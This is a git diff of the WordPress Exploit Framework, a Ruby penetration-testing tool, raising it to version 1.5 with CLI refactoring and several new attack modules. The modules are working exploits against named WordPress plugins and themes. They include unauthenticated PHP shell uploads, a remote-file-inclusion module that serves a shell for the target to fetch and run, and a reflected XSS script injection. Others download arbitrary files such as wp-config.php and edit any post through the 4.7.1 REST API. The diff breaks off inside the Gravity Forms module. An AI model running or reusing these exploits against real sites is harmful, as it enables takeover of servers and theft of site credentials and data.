diff --git a/README.md b/README.md
index c8c2e8e..a59f451 100644
--- a/README.md
+++ b/README.md
@@ -1,5 +1,5 @@
 # wordpress-exploit-framework
-[![Build Status](https://travis-ci.org/rastating/wordpress-exploit-framework.svg?branch=master)](https://travis-ci.org/rastating/wordpress-exploit-framework) [![Code Climate](https://codeclimate.com/github/rastating/wordpress-exploit-framework/badges/gpa.svg)](https://codeclimate.com/github/rastating/wordpress-exploit-framework) [![Dependency Status](https://gemnasium.com/rastating/wordpress-exploit-framework.svg)](https://gemnasium.com/rastating/wordpress-exploit-framework)
+[![Build Status](https://img.shields.io/travis/rastating/wordpress-exploit-framework/master.svg?colorB=007ec6)](https://travis-ci.org/rastating/wordpress-exploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rastating/wordpress-exploit-framework.svg?colorB=007ec6)](https://codeclimate.com/github/rastating/wordpress-exploit-framework) [![Dependency Status](https://img.shields.io/gemnasium/rastating/wordpress-exploit-framework.svg?colorB=007ec6)](https://gemnasium.com/rastating/wordpress-exploit-framework) [![GitHub release](https://img.shields.io/github/release/rastating/wordpress-exploit-framework.svg)](https://github.com/rastating/wordpress-exploit-framework/releases/latest) [![License](https://img.shields.io/badge/license-GPL%20v3-blue.svg)](https://github.com/rastating/wordpress-exploit-framework/blob/master/LICENSE) [![Trello](https://img.shields.io/badge/trello-wordpress--exploit--framework-blue.svg)](https://trello.com/b/XuChenHg)
 
 A Ruby framework for developing and using modules which aid in the penetration testing of WordPress powered websites and systems.
 
diff --git a/VERSION b/VERSION
index 347f583..c239c60 100644
--- a/VERSION
+++ b/VERSION
@@ -1 +1 @@
-1.4.1
+1.5
diff --git a/data/json/commands.json b/data/json/commands.json
index 220b34d..5a7bdcd 100644
--- a/data/json/commands.json
+++ b/data/json/commands.json
@@ -12,6 +12,10 @@
       "cmd": "clear",
       "desc": "Clear the screen."
     },
+    {
+      "cmd": "exit",
+      "desc": "Exit the WordPress Exploit Framework prompt."
+    },
     {
       "cmd": "gset [option] [value]",
       "desc": "Set the [value] of [option] globally, so it is used by the current and future modules."
diff --git a/lib/cli/auto_complete.rb b/lib/cli/auto_complete.rb
index 26c9e6f..663143c 100644
--- a/lib/cli/auto_complete.rb
+++ b/lib/cli/auto_complete.rb
@@ -28,19 +28,21 @@ def refresh_autocomplete_options
 
         if mod.exploit_module?
           opts_hash['payload'] = {}
-          Wpxf::Payloads.payload_list.each { |p| opts_hash['payload'][p] = {} }
+          Wpxf::Payloads.payload_list.each { |p| opts_hash['payload'][p[:name]] = {} }
         end
       end
 
       @autocomplete_list['set'] = opts_hash
       @autocomplete_list['unset'] = opts_hash
+      @autocomplete_list['gset'] = opts_hash
+      @autocomplete_list['gunset'] = opts_hash
     end
 
     def build_cmd_list
       cmds = {}
       permitted_commands.each { |c| cmds[c] = {} }
-      Wpxf::Auxiliary.module_list.each { |m| cmds['use'][m] = {} }
-      Wpxf::Exploit.module_list.each { |m| cmds['use'][m] = {} }
+      Wpxf::Auxiliary.module_list.each { |m| cmds['use'][m[:name]] = {} }
+      Wpxf::Exploit.module_list.each { |m| cmds['use'][m[:name]] = {} }
       cmds['show'] = {
         'options' => {},
         'advanced' => {},
diff --git a/lib/cli/console.rb b/lib/cli/console.rb
index d85bfca..8e7dc88 100644
--- a/lib/cli/console.rb
+++ b/lib/cli/console.rb
@@ -64,7 +64,10 @@ def prompt_for_input
 
       prompt += " [#{context.module_path}]" if context
       prompt += ' > '
-      Readline.readline(prompt, true)
+
+      input = Readline.readline(prompt, true).to_s
+      puts if input.empty?
+      input
     end
 
     def can_handle?(command)
@@ -103,6 +106,7 @@ def on_event_emitted(event)
     end
 
     def execute_user_command(command, args)
+      command = 'quit' if command == 'exit'
       if can_handle? command
         puts unless commands_without_output.include? command
         send(command, *args) if correct_number_of_args?(command, args)
diff --git a/lib/cli/context.rb b/lib/cli/context.rb
index cd0d7e3..ea29d0c 100644
--- a/lib/cli/context.rb
+++ b/lib/cli/context.rb
@@ -1,9 +1,6 @@
 module Cli
   # A context which modules will be used in.
   class Context
-    def initialize
-    end
-
     def class_name(path_name)
       return path_name if path_name !~ /_/ && path_name =~ /[A-Z]+.*/
       path_name.split('_').map(&:capitalize).join
@@ -14,22 +11,7 @@ def verbose?
     end
 
     def load_module(path)
-      match = path.match(/(auxiliary|exploit)\/(.+)/i)
-      raise 'Invalid module path' unless match
-
-      type = match.captures[0]
-      name = class_name(match.captures[1])
-
-      begin
-        if type.eql? 'auxiliary'
-          @module = Wpxf::Auxiliary.const_get(name).new
-        elsif type.eql? 'exploit'
-          @module = Wpxf::Exploit.const_get(name).new
-        end
-      rescue NameError
-        raise 'Invalid module name'
-      end
-
+      @module = Wpxf.load_module(path)
       @module_path = path
       @module
     end
@@ -45,19 +27,7 @@ def reload
     end
 
     def load_payload(name)
-      clsid = class_name(name)
-
-      if Wpxf::Payloads.const_defined?(clsid)
-        payload_class = Wpxf::Payloads.const_get(clsid)
-        if payload_class.is_a?(Class)
-          self.module.payload = payload_class.new
-        else
-          fail "\"#{name}\" is not a valid payload"
-        end
-      else
-        fail "\"#{name}\" is not a valid payload"
-      end
-
+      self.module.payload = Wpxf::Payloads.load_payload(name)
       self.module.payload.check(self.module)
       self.module.payload
     end
diff --git a/lib/cli/module_info.rb b/lib/cli/module_info.rb
index 1eddc09..30eb3bd 100644
--- a/lib/cli/module_info.rb
+++ b/lib/cli/module_info.rb
@@ -13,7 +13,11 @@ def print_author
     def print_description
       print_std('Description:')
       indent_cursor do
-        print_std(wrap_text(context.module.module_desc))
+        if context.module.module_description_preformatted
+          print_std(indent_without_wrap(context.module.module_desc))
+        else
+          print_std(wrap_text(context.module.module_desc))
+        end
       end
     end
 
diff --git a/lib/cli/modules.rb b/lib/cli/modules.rb
index ae0047e..83512da 100644
--- a/lib/cli/modules.rb
+++ b/lib/cli/modules.rb
@@ -27,6 +27,7 @@ def use(module_path)
         mod = context.load_module(module_path)
         mod.event_emitter.subscribe(self)
         print_good "Loaded module: #{mod}"
+        mod.emit_usage_info
         @context_stack.push(context)
       rescue StandardError => e
         print_bad "Failed to load module: #{e}"
@@ -40,15 +41,20 @@ def use(module_path)
       refresh_autocomplete_options
     end
 
+    def module_name_from_class(klass)
+      klass.new.module_name
+    end
+
     def search_modules(args)
       pattern = /#{args.map { |m| Regexp.escape(m) }.join('|')}/i
       module_list = Wpxf::Auxiliary.module_list + Wpxf::Exploit.module_list
 
       results = []
-      module_list.select { |m| m =~ pattern }.each do |path|
-        context = Context.new
-        context.load_module(path)
-        results.push(path: path, title: context.module.module_name)
+      module_list.select { |m| m[:name] =~ pattern }.each do |mod|
+        results.push(
+          path: mod[:name],
+          title: module_name_from_class(mod[:class])
+        )
       end
 
       results
diff --git a/lib/cli/output.rb b/lib/cli/output.rb
index 26645c3..02f297b 100644
--- a/lib/cli/output.rb
+++ b/lib/cli/output.rb
@@ -12,6 +12,10 @@ def wrap_text(s, padding = 0, width = 78)
        .gsub(/\s+$/, '')
     end
 
+    def indent_without_wrap(s)
+      s.gsub(/\n/, "\n#{@indent * @indent_level}")
+    end
+
     def print_std(msg)
       puts "#{@indent * @indent_level}#{msg}"
     end
diff --git a/lib/wpxf/core/module_info.rb b/lib/wpxf/core/module_info.rb
index 703db5a..1e4acd2 100644
--- a/lib/wpxf/core/module_info.rb
+++ b/lib/wpxf/core/module_info.rb
@@ -17,7 +17,7 @@ def update_info(info)
 
       @info.merge!(info)
       @info[:date] = Date.parse(@info[:date].to_s)
-      @info[:desc] = @info[:desc].split.join(' ')
+      @info[:desc] = @info[:desc].gsub(/  +/, ' ')
       @info
     end
 
@@ -45,5 +45,15 @@ def module_author
     def module_date
       @info[:date]
     end
+
+    # @return [Boolean] true if the description is preformatted.
+    def module_description_preformatted
+      @info[:desc_preformatted]
+    end
+
+    # Emits any information that the user should be aware of before using the module.
+    def emit_usage_info
+      nil
+    end
   end
 end
diff --git a/lib/wpxf/core/payload.rb b/lib/wpxf/core/payload.rb
index 6c8aeb5..6f40906 100644
--- a/lib/wpxf/core/payload.rb
+++ b/lib/wpxf/core/payload.rb
@@ -16,6 +16,8 @@ def initialize
           default: true
         )
       ])
+
+      self.queued_commands = []
     end
 
     # @return an encoded version of the payload.
@@ -74,12 +76,14 @@ def post_exploit(mod)
 
     # Cleanup any allocated resource to the payload.
     def cleanup
+      nil
     end
 
     # Run checks to raise warnings to the user of any issues or noteworthy
     # points in regards to the payload being used with the current module.
     # @param mod [Module] the module using the payload.
     def check(mod)
+      nil
     end
 
     # @return [Hash] a hash of constants that should be injected at the
@@ -104,9 +108,19 @@ def php_preamble
       preamble
     end
 
+    # Enqueue a command to be executed on the target system, if the
+    # payload supports queued commands.
+    # @param cmd [String] the command to execute when the payload is executed.
+    def enqueue_command(cmd)
+      queued_commands.push(cmd)
+    end
+
     # @return the payload in its raw format.
     attr_accessor :raw
 
+    # @return [Array] the commands queued to be executed on the target.
+    attr_accessor :queued_commands
+
     private
 
     def raw_payload_with_random_var_names
diff --git a/lib/wpxf/utility/reference_inflater.rb b/lib/wpxf/utility/reference_inflater.rb
index ac2d88c..ec69802 100644
--- a/lib/wpxf/utility/reference_inflater.rb
+++ b/lib/wpxf/utility/reference_inflater.rb
@@ -22,7 +22,7 @@ def format_strings
         {
           'WPVDB' => 'https://wpvulndb.com/vulnerabilities/%s',
           'OSVDB' => 'http://www.osvdb.org/%s',
-          'CVE'   => 'http://www.cvedetails.com/cve/%s',
+          'CVE'   => 'http://www.cvedetails.com/cve/CVE-%s',
           'EDB'   => 'https://www.exploit-db.com/exploits/%s',
           'URL'   => '%s'
         }
diff --git a/lib/wpxf/wordpress/file_download.rb b/lib/wpxf/wordpress/file_download.rb
index 768fb5b..ac8f432 100644
--- a/lib/wpxf/wordpress/file_download.rb
+++ b/lib/wpxf/wordpress/file_download.rb
@@ -76,12 +76,19 @@ def validate_content(content)
     true
   end
 
+  # A task to run before the download starts.
+  # @return [Boolean] true if pre-download operations were successful.
+  def before_download
+    true
+  end
+
   # Run the module.
   # @return [Boolean] true if successful.
   def run
     validate_implementation
 
     return false unless super
+    return false unless before_download
 
     res = request_file
     return false unless validate_result(res) && validate_content(res.body)
diff --git a/lib/wpxf/wordpress/fingerprint.rb b/lib/wpxf/wordpress/fingerprint.rb
index 894f0f0..1783419 100644
--- a/lib/wpxf/wordpress/fingerprint.rb
+++ b/lib/wpxf/wordpress/fingerprint.rb
@@ -79,7 +79,7 @@ def check_version_from_custom_file(url, regex, fixed = nil, introduced = nil)
 
   private
 
-  WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
+  WORDPRESS_VERSION_PATTERN = '(\d+\.\d+(?:\.\d+)*)'
 
   WORDPRESS_GENERATOR_VERSION_PATTERN = %r{<meta\sname="generator"\s
     content="WordPress\s#{WORDPRESS_VERSION_PATTERN}"\s\/>}xi
diff --git a/lib/wpxf/wordpress/shell_upload.rb b/lib/wpxf/wordpress/shell_upload.rb
index 96bde5a..e0b925c 100644
--- a/lib/wpxf/wordpress/shell_upload.rb
+++ b/lib/wpxf/wordpress/shell_upload.rb
@@ -36,14 +36,17 @@ def payload_name
 
   # @return [String] the URL of the file used to upload the payload.
   def uploader_url
+    nil
   end
 
   # @return [BodyBuilder] the {Wpxf::Utility::BodyBuilder} used to generate the uploader form.
   def payload_body_builder
+    nil
   end
 
   # @return [String] the URL of the payload after it is uploaded to the target.
   def uploaded_payload_location
+    nil
   end
 
   # Called prior to preparing and uploading the payload.
@@ -52,6 +55,21 @@ def before_upload
     true
   end
 
+  # @return [Integer] the response code to expect from a successful upload operation.
+  def expected_upload_response_code
+    200
+  end
+
+  # @return [Hash] the query string parameters to use when submitting the upload request.
+  def upload_request_params
+    nil
+  end
+
+  # @return [String] the extension type to use when generating the payload name.
+  def payload_name_extension
+    'php'
+  end
+
   # Run the module.
   # @return [Boolean] true if successful.
   def run
@@ -59,7 +77,7 @@ def run
     return false unless before_upload
 
     emit_info 'Preparing payload...'
-    @payload_name = "#{Utility::Text.rand_alpha(payload_name_length)}.php"
+    @payload_name = "#{Utility::Text.rand_alpha(payload_name_length)}.#{payload_name_extension}"
     builder = payload_body_builder
     return false unless builder
 
@@ -67,6 +85,7 @@ def run
     return false unless upload_payload(builder)
 
     payload_url = uploaded_payload_location
+    return false unless payload_url
     emit_success "Uploaded the payload to #{payload_url}", true
 
     emit_info 'Executing the payload...'
@@ -75,6 +94,11 @@ def run
     true
   end
 
+  # @return [Boolean] true if the result of the upload operation is valid.
+  def validate_upload_result
+    true
+  end
+
   # Execute the payload at the specified address.
   # @param payload_url [String] the payload URL to access.
   def execute_payload(payload_url)
@@ -90,7 +114,7 @@ def payload_name_length
 
   def upload_payload(builder)
     builder.create do |body|
-      @upload_result = execute_post_request(url: uploader_url, body: body, cookie: @session_cookie)
+      @upload_result = execute_post_request(url: uploader_url, params: upload_request_params, body: body, cookie: @session_cookie)
     end
 
     if @upload_result.nil? || @upload_result.timed_out?
@@ -98,13 +122,13 @@ def upload_payload(builder)
       return false
     end
 
-    if @upload_result.code != 200
+    if @upload_result.code != expected_upload_response_code
       emit_info "Response code: #{@upload_result.code}", true
       emit_info "Response body: #{@upload_result.body}", true
       emit_error 'Failed to upload payload'
       return false
     end
 
-    true
+    validate_upload_result
   end
 end
diff --git a/lib/wpxf/wordpress/urls.rb b/lib/wpxf/wordpress/urls.rb
index fb6913c..72f7f83 100644
--- a/lib/wpxf/wordpress/urls.rb
+++ b/lib/wpxf/wordpress/urls.rb
@@ -111,4 +111,9 @@ def wordpress_url_uploads
   def wordpress_url_admin_profile
     normalize_uri(wordpress_url_admin, 'profile.php')
   end
+
+  # @return [String] the base path of the REST API introduced in WordPress 4.7.0.
+  def wordpress_url_rest_api
+    normalize_uri(full_uri, 'wp-json')
+  end
 end
diff --git a/modules/auxiliary/wp_marketplace_v2.4_file_download.rb b/modules/auxiliary/wp_marketplace_v2.4_file_download.rb
new file mode 100644
index 0000000..bd0a880
--- /dev/null
+++ b/modules/auxiliary/wp_marketplace_v2.4_file_download.rb
@@ -0,0 +1,139 @@
+class Wpxf::Auxiliary::WpMarketplaceV24FileDownload < Wpxf::Module
+  include Wpxf::WordPress::FileDownload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WP Marketplace <= 2.4.0 Arbitrary File Download',
+      desc: %(
+        This module exploits a vulnerability which allows registered users of any level
+        to download any arbitrary file accessible by the user the web server is running as.
+      ),
+      author: [
+        'Kacper Szurek',                  # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '7861'],
+        ['CVE', '2014-9013'],
+        ['CVE', '2014-9014'],
+        ['URL', 'http://security.szurek.pl/wp-marketplace-240-arbitrary-file-download.html']
+      ],
+      date: 'Mar 21 2015'
+    )
+
+    register_options([
+      StringOption.new(
+        name: 'user_role',
+        desc: 'The role of the user account being used for authentication',
+        default: 'Subscriber',
+        required: true
+      )
+    ])
+  end
+
+  def check
+    check_plugin_version_from_changelog('wpmarketplace', 'readme.txt', '2.4.1')
+  end
+
+  def requires_authentication
+    true
+  end
+
+  def default_remote_file_path
+    '../../../wp-config.php'
+  end
+
+  def working_directory
+    'wp-content/plugins/wpmarketplace'
+  end
+
+  def modify_plugin_permissions
+    res = execute_post_request(
+      url: full_uri,
+      body: {
+        'action'                      => 'wpmp_pp_ajax_call',
+        'execute'                     => 'wpmp_save_settings',
+        '_wpmp_settings[user_role][]' => datastore['user_role'].downcase
+      },
+      cookie: session_cookie
+    )
+
+    unless res && res.code == 200 && res.body =~ /Settings Saved Successfully/i
+      emit_error 'Failed to modify the plugin permissions'
+      return false
+    end
+
+    true
+  end
+
+  def fetch_ajax_nonce
+    res = execute_post_request(
+      url: full_uri,
+      body: {
+        'action'  => 'wpmp_pp_ajax_call',
+        'execute' => 'wpmp_front_add_product'
+      },
+      cookie: session_cookie
+    )
+
+    return nil if !res || res.code != 200
+    nonce = res.body[/name="__product_wpmp" value="([^"]+)"/i, 1]
+
+    unless nonce
+      emit_error 'Failed to acquire a download nonce'
+      emit_error res.inspect, true
+      return false
+    end
+
+    nonce
+  end
+
+  def create_product
+    res = execute_post_request(
+      url: full_uri,
+      body: {
+        '__product_wpmp' => @nonce,
+        'post_type' => 'wpmarketplace',
+        'id' => @download_id,
+        'wpmp_list[base_price]' => '0',
+        'wpmp_list[file][]' => remote_file
+      },
+      cookie: session_cookie
+    )
+
+    unless res && (res.code == 200 || res.code == 302)
+      emit_error 'Failed to create dummy product'
+      emit_error res.inspect, true
+      return false
+    end
+
+    true
+  end
+
+  def before_download
+    return false unless modify_plugin_permissions
+    emit_info 'Modified plugin permissions successfully', true
+
+    @nonce = fetch_ajax_nonce
+    return false unless @nonce
+
+    emit_info "Acquired nonce \"#{@nonce}\"", true
+    @download_id = "1#{Utility::Text.rand_numeric(5)}"
+
+    create_product
+  end
+
+  def download_request_method
+    :post
+  end
+
+  def downloader_url
+    full_uri
+  end
+
+  def download_request_params
+    { 'wpmpfile' => @download_id }
+  end
+end
diff --git a/modules/auxiliary/wp_v4.7.1_content_injection.rb b/modules/auxiliary/wp_v4.7.1_content_injection.rb
new file mode 100644
index 0000000..615283a
--- /dev/null
+++ b/modules/auxiliary/wp_v4.7.1_content_injection.rb
@@ -0,0 +1,105 @@
+class Wpxf::Auxiliary::WpV471ContentInjection < Wpxf::Module
+  include Wpxf
+
+  def initialize
+    super
+
+    update_info(
+      name: 'WordPress 4.7.0 - 4.7.1 Unauthenticated Content Injection',
+      desc: %(
+        The REST API in versions 4.7.0 and 4.7.1 of WordPress contain a number
+        of validation issues, which allow unauthenticated users to edit any post
+        on the target installation.
+
+        If the target has the API enabled (enabled by default), this module will
+        update the post with the specified content, title and or excerpt.
+      ),
+      author: [
+        'Sucuri <sucuri.net>',            # Disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8734'],
+        ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html']
+      ],
+      date: 'Feb 01 2017'
+    )
+
+    register_options([
+      IntegerOption.new(
+        name: 'post_id',
+        desc: 'The ID of the post to update',
+        required: true
+      ),
+      StringOption.new(
+        name: 'content',
+        desc: 'The content to inject',
+        required: false
+      ),
+      StringOption.new(
+        name: 'title',
+        desc: 'The title to inject',
+        required: false
+      ),
+      StringOption.new(
+        name: 'excerpt',
+        desc: 'The excerpt to inject',
+        required: false
+      )
+    ])
+  end
+
+  def check
+    version = wordpress_version
+    return :unknown if version.nil?
+
+    if version == Gem::Version.new('4.7') || version == Gem::Version.new('4.7.1')
+      return :vulnerable if rest_api_is_available
+    end
+
+    :safe
+  end
+
+  def rest_api_is_available
+    res = execute_get_request(url: wordpress_url_rest_api)
+    (res && res.code == 200)
+  end
+
+  def post_id
+    normalized_option_value('post_id')
+  end
+
+  def post_route
+    normalize_uri(wordpress_url_rest_api, 'wp', 'v2', 'posts', post_id)
+  end
+
+  def api_request_body
+    data = {}
+    data['content'] = datastore['content'] if datastore['content']
+    data['title'] = datastore['title'] if datastore['title']
+    data['excerpt'] = datastore['excerpt'] if datastore['excerpt']
+    data
+  end
+
+  def run
+    return false unless super
+
+    emit_info 'Building request...'
+    data = api_request_body
+    emit_info "Request: #{data.inspect}", true
+
+    emit_info 'Injecting content...'
+    execute_put_request(
+      url: post_route,
+      body: data.to_json,
+      params: {
+        'id' => "#{post_id}#{Utility::Text.rand_alpha(3)}"
+      },
+      headers: {
+        'Content-Type' => 'application/json'
+      }
+    )
+
+    true
+  end
+end
diff --git a/modules/auxiliary/wp47_user_info_disclosure.rb b/modules/auxiliary/wp_v4.7_user_info_disclosure.rb
similarity index 100%
rename from modules/auxiliary/wp47_user_info_disclosure.rb
rename to modules/auxiliary/wp_v4.7_user_info_disclosure.rb
diff --git a/modules/exploits/acf_frontend_display_shell_upload.rb b/modules/exploits/acf_frontend_display_shell_upload.rb
new file mode 100644
index 0000000..50dd04b
--- /dev/null
+++ b/modules/exploits/acf_frontend_display_shell_upload.rb
@@ -0,0 +1,39 @@
+class Wpxf::Exploit::AcfFrontendDisplayShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'ACF Frontend Display <= 2.0.5 Unauthenticated Shell Upload',
+      author: [
+        'TCYB3R',                         # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8086'],
+        ['EDB', '37514']
+      ],
+      date: 'Jul 03 2015'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('acf-frontend-display', '2.0.6')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'acf-frontend-display', 'js', 'blueimp-jQuery-File-Upload-d45deb1', 'server', 'php', 'index.php')
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_field('action', 'upload')
+    builder.add_file_from_string('files', payload.encoded, payload_name)
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_uploads, "uigen_#{Time.now.strftime('%Y')}", payload_name)
+  end
+end
diff --git a/modules/exploits/content_slide_reflected_xss_shell_upload.rb b/modules/exploits/content_slide_reflected_xss_shell_upload.rb
new file mode 100644
index 0000000..cce2eb3
--- /dev/null
+++ b/modules/exploits/content_slide_reflected_xss_shell_upload.rb
@@ -0,0 +1,36 @@
+class Wpxf::Exploit::ContentSlideReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Content Slide Reflected XSS Shell Upload',
+      author: [
+        'Tom Adams (dxw)',                    # Disclosure
+        'Paul Williams <phyushin@phyubox.com' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '7908'],
+        ['URL', 'https://security.dxw.com/advisories/csrf-and-stored-xss-in-wordpress-content-slide-allow-an-attacker-to-have-full-admin-privileges/']
+      ],
+      date: 'Apr 16 2015'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('content-slide')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'admin.php?page=content-slide/content_slide.php')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'wpcs_options[no_of_custom_images]' => 1,
+      'wpcs_options[slide_image1]'        => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>"
+    )
+  end
+end
diff --git a/modules/exploits/designfolio_plus_shell_upload.rb b/modules/exploits/designfolio_plus_shell_upload.rb
new file mode 100644
index 0000000..17e8802
--- /dev/null
+++ b/modules/exploits/designfolio_plus_shell_upload.rb
@@ -0,0 +1,48 @@
+require 'socket'
+
+class Wpxf::Exploit::DesignfolioPlusShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'DesignFolio+ Theme Unauthenticated Shell Upload',
+      author: [
+        'CrashBandicot',                  # Vulnerability disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '7880'],
+        ['EDB', '36372']
+      ],
+      date: 'Mar 04 2015'
+    )
+  end
+
+  def check
+    check_theme_version_from_readme('designfolio-plus')
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_themes, 'designfolio-plus', 'admin', 'upload-file.php')
+  end
+
+  def encoded_relative_path_to_uploads
+    Base64.strict_encode64('../../../uploads')
+  end
+
+  def payload_body_builder
+    target_ip = IPSocket.getaddress(target_host)
+    field_name = Utility::Text.md5(target_ip)
+
+    builder = Utility::BodyBuilder.new
+    builder.add_file_from_string(field_name, payload.encoded, payload_name)
+    builder.add_field('upload_path', encoded_relative_path_to_uploads)
+    builder
+  end
+
+  def uploaded_payload_location
+    normalize_uri(wordpress_url_uploads, payload_name.downcase)
+  end
+end
diff --git a/modules/exploits/estatik_v2.2.5_shell_upload.rb b/modules/exploits/estatik_v2.2.5_shell_upload.rb
new file mode 100644
index 0000000..bcc7b92
--- /dev/null
+++ b/modules/exploits/estatik_v2.2.5_shell_upload.rb
@@ -0,0 +1,49 @@
+class Wpxf::Exploit::EstatikV225ShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Estatik <= 2.2.5 Unauthenticated Shell Upload',
+      author: [
+        'White Fir Design',               # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8593'],
+        ['URL', 'https://estatik.net/estatik-released-security-updates/']
+      ],
+      date: 'Aug 14 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('estatik', 'readme.txt', '2.3.0')
+  end
+
+  def uploader_url
+    wordpress_url_admin_ajax
+  end
+
+  def payload_body_builder
+    @start_timestamp = Time.now.to_i
+    builder = Utility::BodyBuilder.new
+    builder.add_field('action', 'es_prop_media_images')
+    builder.add_file_from_string('es_media_images[]', payload.encoded, payload_name)
+    builder
+  end
+
+  def expected_upload_response_code
+    500
+  end
+
+  def execute_payload(_payload_url)
+    @end_timestamp = Time.now.to_i
+    base_upload_uri = normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'))
+
+    (@start_timestamp..@end_timestamp).each do |timestamp|
+      super(normalize_uri(base_upload_uri, "#{timestamp}_#{payload_name}"))
+    end
+  end
+end
diff --git a/modules/exploits/fast_image_adder_v1.1_rfi_shell_upload.rb b/modules/exploits/fast_image_adder_v1.1_rfi_shell_upload.rb
new file mode 100644
index 0000000..ca8441e
--- /dev/null
+++ b/modules/exploits/fast_image_adder_v1.1_rfi_shell_upload.rb
@@ -0,0 +1,89 @@
+require 'erb'
+
+class Wpxf::Exploit::FastImageAdderV11RfiShellUpload < Wpxf::Module
+  include Wpxf
+  include Wpxf::Net::HttpServer
+  include Wpxf::WordPress::ShellUpload
+  include ERB::Util
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Fast Image Adder <= 1.1 RFI Shell Upload',
+      desc: %(
+        Fast Image Adder <= 1.1 suffers from a remote file inclusion vulnerability
+        which allows unauthenticated users to download and execute a PHP shell
+        hosted on a remote server.
+
+        This module will host a HTTP server to serve the payload, and make a request
+        to the target that will initiate the download and execution of the payload.
+      ),
+      author: [
+        'Larry W. Cashdollar',            # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8092'],
+        ['URL', 'http://www.vapid.dhs.org/advisory.php?v=139']
+      ],
+      date: 'Jul 10 2015'
+    )
+
+    register_options([
+      StringOption.new(
+        name: 'rfi_host',
+        desc: 'The address of the host listening for a connection',
+        required: true
+      ),
+      StringOption.new(
+        name: 'rfi_path',
+        desc: 'The path to access via the remote file inclusion request',
+        default: Utility::Text.rand_alpha(8),
+        required: true
+      )
+    ])
+  end
+
+  def check
+    check_plugin_version_from_readme('fast-image-adder', '1.2')
+  end
+
+  def rfi_host
+    normalized_option_value('rfi_host')
+  end
+
+  def rfi_path
+    normalized_option_value('rfi_path')
+  end
+
+  def rfi_url
+    "http://#{rfi_host}:#{http_server_bind_port}/#{rfi_path}/#{payload_name}"
+  end
+
+  def on_http_request(_path, _params, _headers)
+    payload.encoded
+  end
+
+  def uploader_url
+    normalize_uri(wordpress_url_plugins, 'fast-image-adder', "fast-image-adder-uploader.php?confirm=url&url=#{url_encode(rfi_url)}")
+  end
+
+  def uploaded_payload_location
+    upload_result.body[/Uploaded as (.+?)\s/i, 1]
+  end
+
+  def payload_body_builder
+    Utility::BodyBuilder.new
+  end
+
+  def execute_payload(url)
+    stop_http_server
+    super(url)
+  end
+
+  def run
+    start_http_server true
+    super
+  end
+end
diff --git a/modules/exploits/gravity_forms_v1.8.19_shell_upload.rb b/modules/exploits/gravity_forms_v1.8.19_shell_upload.rb
new file mode 100644
index 0000000..b78a938
--- /dev/null
+++ b/modules/exploits/gravity_forms_v1.8.19_shell_upload.rb
@@ -0,0 +1,90 @@
+class Wpxf::Exploit::GravityFormsV1819ShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ShellUpload
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Gravity Forms <= 1.8.19 Unauthenticated Shell Upload',
+      author: [
+        'Sucuri.net',                     # Discovery and disclosure
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '7820']
+      ],
+      date: 'Dec 08 2014'
+    )
+
+    register_option(
+      IntegerOption.new(
+        name: 'form_id',
+        desc: 'A valid Gravity Forms form ID',
+        default: 1,
+        required: true
+      )
+    )
+  end
+
+  def check
+    changelog = normalize_uri(wordpress_url_plugins, 'gravityforms', 'change_log.txt')
+    check_version_from_custom_file(changelog, /Version\s+(\d+\.\d+(\.\d+)*)/, '1.8.20')
+  end
+
+  def form_id
+    normalized_option_value('form_id')
+  end
+
+  def uploader_url
+    full_uri
+  end
+
+  def upload_request_params
+    {
+      'gf_page' => 'upload',
+      'form_id' => form_id
+    }
+  end
+
+  def payload_body_builder
+    builder = Utility::BodyBuilder.new
+    builder.add_field('name', payload_name)
+    builder.add_field('field_id', 1)
+    builder.add_file_from_string('file', payload.encoded, "#{Utility::Text.rand_alpha(5)}.jpg")
+    builder
+  end
+
+  def scrape_upload_folder
+    emit_info 'Scraping target for the upload location...'
+    uploads_url = normalize_uri(wordpress_url_uploads, 'gravity_forms')
+    res = execute_get_request(url: uploads_url)
+
+    unless res && res.code == 200
+      emit_error 'The target appears to have directory listing disabled'
+      emit_error "Code: #{res.code}", true
+      return nil
+    end
+
+    name = res.body[/href="(#{form_id}\-[a-z0-9\/]+?)"/i, 1]
+    emit_success "Found directory: #{name}"
